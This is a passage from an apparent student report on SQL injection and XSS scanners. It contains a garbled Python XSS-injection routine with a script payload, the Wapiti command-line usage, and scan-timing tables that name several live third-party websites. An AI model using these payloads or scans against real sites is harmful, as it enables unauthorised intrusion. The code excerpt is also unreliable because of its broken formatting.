   url=page+"?"+payload 
   if url not in self.attackedGET: 
     try: 
      if self.verbose==2: 
  print "+ "+url 
       req = urllib2.Request(url) 
        u = urllib2.urlopen(req) 
       data=u.read() 
  except (urllib2.URLError,socket.timeout),e: 
      if hasattr(e,'code'): 
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  data="" 
   else: 
  return 
     if data.find(payload)>=0: 
 { 
       print "XSS (QUERY_STRING) in",page 
        print "\tEvil url:",url 
 }  
             else: 
       if u.code==500: 
  print "500 HTTP Error code with" 
  print "\tEvil url:",url 
     self.attackedGET.append(url) 
 for k in dict.keys(): 
    err="" 
   tmp=dict.copy() 
   payload="<script>var SQLiX_" 
   payload+=page.encode("hex_codec") 
  payload+="_" 
   payload+=k.encode("hex_codec") 
   payload+="=new Boolean();</script>" 
   tmp[k]=payload 
    
  if data.find(payload)>=0: 
       if self.color==0: 
 print "XSS ("+k+") in",page 
                print "\tEvil url:",url 
     else: 
        print "XSS",":",url.replace(k+"=","\033[0;31m"+k+"\033[0;0m=") 
            else: 
     if u.code==500: 
  print "500 HTTP Error code with" 
  print "\tEvil url:",url 
      self.attackedGET.append(url) 
In above snippet AttackXss function uses the entire payload to check the available scripts
in the given database and relate to the given URL. Payload applies different test operation
specified in payload. We just check for the normal XSS and permanent XSS. There are
also different kind of XSS can detect by improving the payload.
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9.0 Other Commercial and Open source SQL injection scanners:
9.1 Acunetix web vulnerability scanner:
Acunetix scanner divides type of scanning according to the severity of the type of web
attack. It divides in four types high, medium, low and informational severity. Acunetix is
used to detect various types of web vulnerabilities as below.
i) SQL injection
ii) Cross site scripting
iii) CGI scripting
iv) Firewalls and SSL
v) URL redirection
SQL injection and Cross site scripting scans are comes under the high severity type as
they are considered most dangerous attacks in the web security. Other attacks are
categorized according to their severity on the web services.
Although this scanner does little bit extra amount of scanning, it is very slow as compare
to the other tool available in market and slower than SQLiX as well.
9.2 SQLmap:
Sqlmap is an SQL injection scanner build in Python. The aim of this tool is to detect
SQL injection vulnerabilities and take advantage of these vulnerabilities on web
application. Sqlmap initially detect the loop whole in you site and then use variety of
option to perform extensive back-end database management, enumerate users, dump
entire or specific DBMS, retrieve DBMS session user and database, read specific file on
 43
the file system etc. SQLmap is bit faster than acunetix web scanner but still slower than
SQLiX, and it also make very few url injection in to the database as compare to SQLiX.
This tool also doesn’t have GUI interface.
9.3 Wapiti:
Wapiti is command line based tool build in python and uses a Python library called
lswww. This is the spider library helps to crawl each page on given web site. Wapiti
allows us to inspect the security of our web site. This tool also used html Tidy lib to clean
the html pages which are not well formatted. This library helps a lot to extract
information from bad-coded html web pages. Basically it does black-box scan. Wapiti
scans the all WebPages available on your site and try to find out scripts and form where it
can inject data to check how many types of attack are possible on selected injection point.
Wapiti can detect SQL injection and XSS (Cross Site Scripting) injection. Wapiti has one
of the best features that it’s able to differentiate temporary and permanent XSS
vulnerabilities.
It does not provide a GUI interface and you must have to use it from command line
interface. As this tool doesn’t have GUI- interface I would like to give you a command
line usage here.
Usage:
Wapiti-1.1.5 - A web application vulnerability scanner 
Usage: python wapiti.py http://localhost/acu/indexacu.php [options] 
Supported options are: 
-s <url> 
--start <url> 
 To specify an url to start with 
-x <url> 
--exclude <url> 
 To exclude an url from the scan (for example logout scripts) 
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 You can also use a wildcard (*) 
 Exemple : -x "http://localhost/acu/indexacu.php/?page=*&module=test" 
 or -x http://server/base/admin/* to exclude a directory 
-p <url_proxy> 
--proxy <url_proxy> 
 To specify a proxy 
 Exemple: -p http://proxy:port/ 
-c <cookie_file> 
--cookie <cookie_file> 
 To use a cookie 
-t <timeout> 
--timeout <timeout> 
 To fix the timeout (in seconds) 
-a <login%password> 
--auth <login%password> 
 Set credentials for HTTP authentication 
 Doesn't work with Python 2.4 
-r <parameter_name> 
--remove <parameter_name> 
 Remove a parameter from URLs 
-m <module> 
--module <module> 
 Use a predefined set of scan/attack options 
 GET_ALL: only use GET request (no POST) 
 GET_XSS: only XSS attacks with HTTP GET method 
 POST_XSS: only XSS attacks with HTTP POST method 
-u underline 
 Use color to highlight vulnerables parameters in output 
 
9.4 Paros:
Paros is used for web application security assessment. Paros is written in Java, and
people generally used this tool to evaluate the security of their web sites and the
applications that they provide on web site. It is free of charge, and using Paros’s you can
exploit and modified all HTTP and HTTPS data among client and server along with form
fields and cookies. In brief the functionality of scanner is as below.
According to web site hierarchy server get scan, it checks for server misconfiguration.
They add this feature because some URL paths can’t be recognized and found by the
crawler. The other automatic scanners are not able to do that. Basically to work this
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functionality Paros navigates the site and rebuilds the website hierarchy. Presently Paros
do three types of server configuration checks. HTTP PUT, Directory indexable, and
obsolete file exist. Paros also provides log file, which is create when all the HTTP request
and reply pass through Paros. In log panel Paros shows back as request and reply format.
9.5 Pixy:
Pixy is the second tool that I found in web which is written in Java. Pixy does
automatic scans for PHP 4 for the detection for SQL injection and XSS attacks. The
major disadvantage of Pixy is that it only woks for PHP 4 and not for OOPHP 5. Pixy
take whole PHP file as an input and produce a report that shows the possible vulnerability
section in that PHP file along with some additional information to understand attack.
While SQL injection analysis Pixy divides result in three categories: untainted, weakly
tainted, and strongly tainted. It also provide dependence graph and dependence value.
Dependent value is nothing but the list of points in program on which the value of
variables is depends.
9.6 Performance Evaluation of SQLiX with other commercial and open source tools:
Following tables are tabular representation of the performance evaluation among tools
and the test cases which shows the performance of the each tool on corresponding web
site.
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Tools
Execution
Time
(Minutes)
No. of
injections
UDF(user
define
function)
No. of
type of
attacks
Database
supports
Language GUI
SQLiX 2-3 300 YES 2 My SQL,
Oracle,
PSQL.
MSsql,
MS
Acesses
Perl Yes
Acunitix 25-30 __ __ NO 5 All
above
------- Yes
Sqlmap 4-5 41 NO 3 My SQL,
Oracle,
PSQL.
MSsql
Python No
Wapiti 7-8 XSS 90
SQL 40
NO 2 Except
PSQL
Python No
Paros 8-10 40 NO 2 -- Java Yes
Pixy 4-5 -- NO 2 -- Java Yes
Figure 13: Table shows performance evaluation for SQLiX with other tools.
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Tools
Execution Time
(Minutes) Site
SQLiX 2-3 http://jagdishhalde.hostrator.com/indexacu.php
Acunitix 10-20
Sqlmap 4-5
Wapiti 7-8
Paros 8-10
Pixy 4-5
Figure 14: Test case for http://jagdishhalde.hostrator.com/indexacu.php
Figure 15: Test case for http://test.acunetix.com
Tools
Execution Time
(Minutes) Site
SQLiX 4-6 http://test.acunetix.com
Acunitix 25-30
Sqlmap 7-8
Wapiti 9-10
Paros 4-6
Pixy 25-30
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Figure 16: Test case for http://www.jeffgaroutte.com
Figure 17: Test case for http://abhishek1984.zxq.net
Tools
Execution Time
(Minutes) Site
SQLiX 2-3 http://www.jeffgaroutte.com
Acunitix 8-10
Sqlmap 4-5
Wapiti 7-8
Paros 8-10
Pixy 4-5
Tools
Execution
Time
(Minutes)
Site
SQLiX 3-4 http://abhishek1984.zxq.net
Acunitix 10-12
Sqlmap 4-5
Wapiti 7-8
Paros 8-10
Pixy 4-5
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Figure 18: Test case for http://inderweb.com
Figure 19: Test case for http://www.surfindia.com
Tools
Execution Time
(Minutes) Site
SQLiX 180- …. http://inderweb.com
Acunitix 90-120
Sqlmap 4-5/ Error
Wapiti N/A
Paros N/A
Pixy N/A
Tools
Execution Time
(Minutes) Site
SQLiX 180 - …. http://www.surfindia.com
Acunitix 90-120/ ERROR
Sqlmap N/A
Wapiti N/A
Paros N/A
Pixy N/A
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10.0 View Graphs:
Following are the four view Graphs that I created from the SQLiX Performance analysis.
 51
Figure 20: view Graphs
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11.0 SQLiX Web Vulnerability test site:
I built a web site which is used to test SQLiX. This web site also provides information
about basic SQL Injection attacks. I created two partition on the main web page, on one
partition provides the component available on site and other part is used to show the back
end of the site. The main intension behind this structure is that the third user can easily
see how SQLiX tool injecting the different combination of given URL and trying to
retrieve unauthorized information from the back end. I host this site on
http:hostrator.com. To host first you need to register domain name and upload the all
front end file as well as server scripts. I also import the database schemas and data that
created on local host. Here is the link for hosted web site:
http://jagdishhalde.hostrator.com/indexacu.php
Following are the few main screen shot of the web site.
ho
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Figure 21: SQLiX Web vulnerability site with home page SQLiX source site.
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Figure 22: SQLiX Web vulnerability site with home page and back end user info table.
From this partition of web page any one can easily see the number of injection done by
SQLiX on database. While scanning this particular web page injected entries related to
database shown on right hand side.
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Figure 23: SQLiX Web vulnerability site showing basic SQL Injection attacks.
This web page gives some flavor of basic SQL Injection attacks. There are four cases that
I tried to demo here. How SQL injection happens and what precaution we have to take
while building web site.
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12.0 Test cases
Following are two web sites on which I run my enhanced version of SQLiX-
1) http://test.acunetix.com
2) http://abhishek1984.zxq.net
Following screen shots are showing the difference that they are scanning each and every
form of the web site which uses http Post method. Http post method is not implemented
in original version of SQLiX.
Figure 24: Test case for scanning http://test.acunetix.com using enhanced SQLiX
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Figure 25: Test case for scanning http://test.acunetix.com showing result
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Figure 26: Test case for scanning http://abhishek1984.zxq.net using enhanced SQLiX
From above screen shot you will get clear understanding that enhanced SQLiX is searching for
forms and injecting SQL Injection into that. It uses “PPPP” as a dummy data to insert into each
and every field for the form. Hence enhanced version of SQLiX is doing more injections and
trying to retrieve more data than original SQLiX.
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13.0 Conclusion
Most of the web applications uses intermediate layer to accept a request from the user
and retrieve sensitive information from the database. Most of the time they use scripting
language to build intermediate layer. To breach security of database hacker often uses
SQL injection techniques. Generally attacker tries to confuse the intermediate layer
technology by reshaping the SQL queries. Perhaps, attacker will change the activities of
the programmer for their benefits. A number of methods are used to avoid SQL injection
attack at application level, but no feasible solution is available yet. This paper covered
most powerful techniques used for SQL injection prevention. From my research it
concludes that automated technique for preventing, detecting and logging the SQL
injection attack in ‘stored procedure' is commonly used and they are concrete method.
Graph control method is also good for small databases systems.
SQLiX is one of the best web security scanner for finding SQL injection
vulnerabilities from the web site though it is not sufficient to list other possible types of
web attack. It is very efficient in terms of speed, insertion of number of injection and
injecting your own function. You can juxtapose from the test cases represented above. I
have enhanced this tool by giving GUI interface, HTTP POST method automatic form fill
feature and XSS attacks. GUI helps novice user to try all combination of attack without
remembering all options, and HTTP Post method increase the number of injections
injecting in to the database.
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14.0 Future Work:
As future work, we want to evaluate methods using different web based application
script with public domain to achieve great accuracy in SQL injection prevention
approaches. Integrate SQLiX with nikto HTTP scanner, HTTP scanning proxies, and
with metasploit will helps to detect other web vulnerabilities. Also add feature to dump
venerable database and database schema.
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